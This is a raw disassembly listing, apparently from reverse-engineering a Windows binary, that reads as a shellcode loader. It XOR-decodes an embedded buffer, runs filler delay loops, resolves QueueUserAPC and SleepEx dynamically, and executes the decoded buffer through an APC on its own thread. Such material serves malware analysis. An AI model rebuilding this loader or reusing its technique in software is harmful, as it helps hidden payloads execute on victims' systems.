mov edx, dword [rbp + 0x7c4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x610]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7c4], 0x330
jle 0x140002948
jmp 0x140002a25
mov eax, dword [rbp + 0x7dc]
cdqe
movzx edx, byte [rbp + rax + 0x30]
mov eax, dword [rbp + 0x7d8]
cdqe
movzx eax, byte [rbp + rax + 0xa0]
xor edx, eax
mov eax, dword [rbp + 0x7dc]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x7d8], 1
add dword [rbp + 0x7dc], 1
mov eax, dword [rbp + 0x7dc]
cmp eax, 0x6b
jbe 0x1400028eb
mov dword [rbp + 0x7dc], 0
jmp 0x140002be2
cmp dword [rbp + 0x7d4], 0x6b
jne 0x140002a9d
mov eax, dword [rbp + 0x7dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x648]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7d4]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x648]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x7d4], 0
jmp 0x140002ae2
mov eax, dword [rbp + 0x7dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x648]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7d4]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x648]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x7d4], 1
mov dword [rbp + 0x7c0], 0xd2
mov dword [rbp + 0x7bc], 0x104
mov dword [rbp + 0x7b8], 0x2e4
mov dword [rbp + 0x7b4], 0x2d0
jmp 0x140002bce
mov eax, dword [rbp + 0x7b8]
cmp eax, dword [rbp + 0x7b4]
jle 0x140002b6b
mov eax, dword [rbp + 0x7b8]
cmp eax, dword [rbp + 0x7c0]
jle 0x140002b4b
mov eax, dword [rbp + 0x7b8]
cmp eax, dword [rbp + 0x7bc]
jle 0x140002b42
sub dword [rbp + 0x7b8], 1
jmp 0x140002bb7
sub dword [rbp + 0x7bc], 1
jmp 0x140002bb7
mov eax, dword [rbp + 0x7c0]
cmp eax, dword [rbp + 0x7bc]
jle 0x140002b62
sub dword [rbp + 0x7c0], 1
jmp 0x140002bb7
sub dword [rbp + 0x7bc], 1
jmp 0x140002bb7
mov eax, dword [rbp + 0x7b4]
cmp eax, dword [rbp + 0x7c0]
jle 0x140002b99
mov eax, dword [rbp + 0x7b4]
cmp eax, dword [rbp + 0x7bc]
jle 0x140002b90
sub dword [rbp + 0x7b4], 1
jmp 0x140002bb7
sub dword [rbp + 0x7bc], 1
jmp 0x140002bb7
mov eax, dword [rbp + 0x7c0]
cmp eax, dword [rbp + 0x7bc]
jle 0x140002bb0
sub dword [rbp + 0x7c0], 1
jmp 0x140002bb7
sub dword [rbp + 0x7bc], 1
mov eax, dword [rbp + 0x7b8]
mov edx, eax
lea rax, [0x14000c146]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x7b8], 0
jg 0x140002b0f
add dword [rbp + 0x7dc], 1
cmp dword [rbp + 0x7dc], 0x47f
jle 0x140002a4a
mov rax, qword [rbp + 0x648]
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x7a0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x7a0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x628]
mov r9, qword [rbp + 0x620]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x618]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x830]
add rsp, 0x8c8
pop rbx
pop rsi
pop rdi
pop rbp
ret